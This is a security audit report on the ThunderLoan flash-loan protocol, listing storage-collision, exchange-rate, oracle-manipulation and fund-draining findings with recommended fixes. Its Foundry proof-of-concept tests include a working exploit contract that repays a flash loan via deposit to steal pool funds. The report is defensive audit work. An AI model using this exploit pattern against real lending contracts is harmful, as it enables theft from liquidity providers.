Protocol Audit Report

Version 1.0

Bobby's Investigations

April 19, 2024

Protocol Audit Report

Bobby William Major

19 April, 2024

Prepared by: Bobby William Major Lead Secrurity Researcher:

- Bobby William Major

Table of Contents

Protocol Summary

ThunderLoan Protocol

The **ThunderLoan** protocol is meant to do the following:

1. Give users a way to create flash loans
2. Give liquidity providers a way to earn money off their capital

Liquidity providers can `deposit` assets into `ThunderLoan` and be given `AssetTokens` in return. These `AssetTokens` gain interest over time depending on how often people take out flash loans!

What is a flash loan?

A flash loan is a loan that exists for exactly 1 transaction. A user can borrow any amount of assets from the protocol as long as they pay it back in the same transaction. If they don't pay it back, the transaction reverts and the loan is cancelled.

Users additionally have to pay a small fee to the protocol depending on how much money they borrow. To calculate the fee, we're using the famous on-chain TSwap price oracle.

We are planning to upgrade from the current `ThunderLoan` contract to the `ThunderLoanUpgraded` contract. Please include this upgrade in scope of a security review.

Disclaimer

The Bobby's Investigations team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 8803f851f6b37e99eab2e94b4690c8b70e26b3f6
- In Scope:

Scope

```
#-- interfaces
|   #-- IFlashLoanReceiver.sol
|   #-- IPoolFactory.sol
|   #-- ITSwapPool.sol
|   #-- IThunderLoan.sol
#-- protocol
|   #-- AssetToken.sol
|   #-- OracleUpgradeable.sol
|   #-- ThunderLoan.sol
#-- upgradedProtocol
    #-- ThunderLoanUpgraded.sol
```

- Solc Version: 0.8.20
- Chain(s) to deploy contract to: Ethereum
- ERC20s:
  - USDC
  - DAI
  - LINK
  - WETH

Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.

Executive Summary

I want to keep improving.

Issues found

Severity	Number of issues found
High	3
Medium	1
Total	4

Findings

High

[H-1] Mixing up variable location causes storage collisions in `ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoaning`

Description: `ThunderLoan.sol` has two variables in the following order:

```
1     uint256 private s_feePrecision;
2     uint256 private s_flashLoanFee; // 0.3% ETH fee
```

However, the expected upgraded contract `ThunderLoanUpgraded.sol` has them in a different order.

```
1     uint256 private s_flashLoanFee; // 0.3% ETH fee
2     uint256 public constant FEE_PRECISION = 1e18;
```

Due to how Solidity storage works, after the upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. You cannot adjust the positions of storage variables when working with upgradeable contracts.

Impact: After upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. This means that users who take out flash loans right after an upgrade will be charged the wrong fee. Additionally the `s_currentlyFlashLoaning` mapping will start on the wrong storage slot.

Proof of Code:

Code

Add the following code to the `ThunderLoanTest.t.sol` file.

```
1 // You'll need to import `ThunderLoanUpgraded` as well
```

```
import { ThunderLoanUpgraded } from "../../src/upgradedProtocol/
    ThunderLoanUpgraded.sol";

function testUpgradeBreaks() public {
        uint256 feeBeforeUpgrade = thunderLoan.getFee();
        vm.startPrank(thunderLoan.owner());
        ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
        thunderLoan.upgradeTo(address(upgraded));
        uint256 feeAfterUpgrade = thunderLoan.getFee();

        assert(feeBeforeUpgrade != feeAfterUpgrade);
    }
```

You can also see the storage layout difference by running `forge inspect ThunderLoan storage` and `forge inspect ThunderLoanUpgraded storage`

Recommended Mitigation: Do not switch the positions of the storage variables on upgrade, and leave a blank if you're going to replace a storage variable with a constant. In `ThunderLoanUpgraded.sol`:

```
-    uint256 private s_flashLoanFee; // 0.3% ETH fee
-    uint256 public constant FEE_PRECISION = 1e18;
+    uint256 private s_blank;
+    uint256 private s_flashLoanFee;
+    uint256 public constant FEE_PRECISION = 1e18;
```

[H-2] By calling a flashloan and then `ThunderLoan::deposit` instead of

`ThunderLoan::repay` users can steal all funds from the protocol

Description: An attacker can acquire a flash loan and deposit funds directly into the contract using the `deposit()`, enabling stealing all the funds.

Impact: The `flashloan()` performs a crucial balance check to ensure that the ending balance, after the flash loan, exceeds the initial balance, accounting for any borrower fees. This verification is achieved by comparing `endingBalance` with `startingBalance + fee`. However, a vulnerability emerges when calculating endingBalance using `token.balanceOf(address(assetToken))`.

Exploiting this vulnerability, an attacker can return the flash loan using the `deposit()` instead of `repay()`. This action allows the attacker to mint `AssetToken` and subsequently redeem it using `redeem()`. What makes this possible is the apparent increase in the Asset contract's balance, even though it resulted from the use of the incorrect function. Consequently, the flash loan doesn't trigger a revert.

All the funds of the AssetContract can be stolen.

Proof of Concept: Place the following code in your `ThunderLoan.t.sol`

Proof Of Code

```
function testUseDepositInsteadOfRepayToStealFunds() public setAllowedToken hasDeposits {
        vm.startPrank(user);
        uint256 amountToBorrow = 50e18;
        uint256 fee = thunderLoan.getCalculatedFee(tokenA, amountToBorrow);
        DepositOverRepay dor = new DepositOverRepay(address(thunderLoan));
        tokenA.mint(address(dor), fee);
        thunderLoan.flashloan(address(dor), tokenA, amountToBorrow, "");
        dor.redeemMoney();
        vm.stopPrank();

        assert(tokenA.balanceOf(address(dor)) > 50e18 + fee);
    }

contract DepositOverRepay is IFlashLoanReceiver {
    ThunderLoan thunderLoan;
    AssetToken public assetToken;
    IERC20 s_token;

    constructor(address _thunderLoan) {
        thunderLoan = ThunderLoan(_thunderLoan);
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address, /*initiator*/
        bytes calldata /*params*/
    )
        external
        returns (bool)
    {
        s_token = IERC20(token);
        assetToken = thunderLoan.getAssetFromToken(IERC20(token));
        IERC20(token).approve(address(thunderLoan), amount + fee);
        thunderLoan.deposit(IERC20(token), amount + fee);
        return true;
    }

    function redeemMoney() public {
        uint256 amount = assetToken.balanceOf(address(this));
        thunderLoan.redeem(s_token, amount);
    }
```

```
44 }
```

Recommended Mitigation: Add a check in `deposit()` to make it impossible to use it in the same block of the flash loan. For example registring the block.number in a variable in `flashloan()` and checking it in `deposit()`.

[H-3] Erroneous `ThunderLoan::updateExchangeRate` in the `deposit` function causes

protocol to think it has more fees than it really does, which blocks redemption and incorrectly sdets the exchange rate

Description: In the ThunderLoan system, the `exchangeRate` is responsible for calculating the exchange between assetTokens and underlying tokens. In a way, it's responsible for keeping track of how many fees to give to the liquidity providers.

However, the `deposit` function, updates this rate, without collecting the fees!

```
1  function deposit(IERC20 token, uint256 amount) external revertIfZero(
       amount) revertIfNotAllowedToken(token) {
2          AssetToken assetToken = s_tokenToAssetToken[token];
3          uint256 exchangeRate = assetToken.getExchangeRate();
4          uint256 mintAmount = (amount * assetToken.
               EXCHANGE_RATE_PRECISION()) / exchangeRate;
5          emit Deposit(msg.sender, token, amount);
6          assetToken.mint(msg.sender, mintAmount);
7
8          // @audit-high
9      @>  uint256 calculatedFee = getCalculatedFee(token, amount);
10     @>  assetToken.updateExchangeRate(calculatedFee);
11         token.safeTransferFrom(msg.sender, address(assetToken), amount)
               ;
12     }
```

Impact: There are several impacts the bug.

1. The `redeem` function is blocked, because the protocol thinks the owed tokens is more than it has
2. Rewards are incorrectly calculated, leading liquidity providers potentially getting way more or less than deserved.

Proof of Concept:

1. LP Deposits
2. User takes out the flash loan
3. It now impossible for LP to redeem.

Proof Of Code

Place the following code into `ThunderLoanTest.t.sol`

```
function testRedeemAfterLoan() public setAllowedToken hasDeposits {
        uint256 amountToBorrow = AMOUNT * 10;
        uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA,
            amountToBorrow);
        vm.startPrank(user);
        tokenA.mint(address(mockFlashLoanReceiver), AMOUNT);
        thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA,
            amountToBorrow, "");
        vm.stopPrank();

        uint256 amountToRedeem = type(uint256).max;
        vm.startPrank(liquidityProvider);
        thunderLoan.redeem(tokenA, amountToRedeem);
        vm.stopPrank();
    }
```

Recommended Mitigation: Remove the incorrectly updated exchange rate lines from `deposit`

```
function deposit(IERC20 token, uint256 amount) external revertIfZero(
    amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * assetToken.
            EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);

        // @audit-high
-       uint256 calculatedFee = getCalculatedFee(token, amount);
-       assetToken.updateExchangeRate(calculatedFee);
        token.safeTransferFrom(msg.sender, address(assetToken), amount)
            ;
    }
```

Medium

[M-1] Using TSwap as price oracle leads to price and oracle manipulation attacks

Description: The TSwap protocol is a constant product formula based AMM (automated market maker). The price of a token is determined by how many reserves are on either side of the pool. Because of this, it is easy for malicious users to manipulate the price of a token by buying or selling a large amount of the token in the same transaction, essentially ignoring protocol fees.

Impact: Liquidity providers will drastically reduced fees for providing liquidity.

Proof of Concept:

The following all happens in 1 transaction.

1. User takes a flash loan from `ThunderLoan` for 1000 `tokenA`. They are charged the original fee `fee1`. During the flash loan, they do the following:
    1. User sells 1000 `tokenA`, tanking the price.
    2. Instead of repaying right away, the user takes out another flash loan for another 1000 `tokenA`.
        1. Due to the fact that the way `ThunderLoan` calculates price based on the `TSwapPool` this second flash loan is substantially cheaper.

```
1      function getPriceInWeth(address token) public view returns (uint256
           ) {
2          address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(
               token);
3  @>      return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth
       ();
4      }
```

```
1  3. The user then repays the first flash loan, and then repays the
       second flash loan.
```

I have created a proof of code located in my `audit-data` folder. It is too large to include here.

Recommended Mitigation: Consider using a different price oracle mechanism, like a Chainlink price feed with a Uniswap TWAP fallback oracle.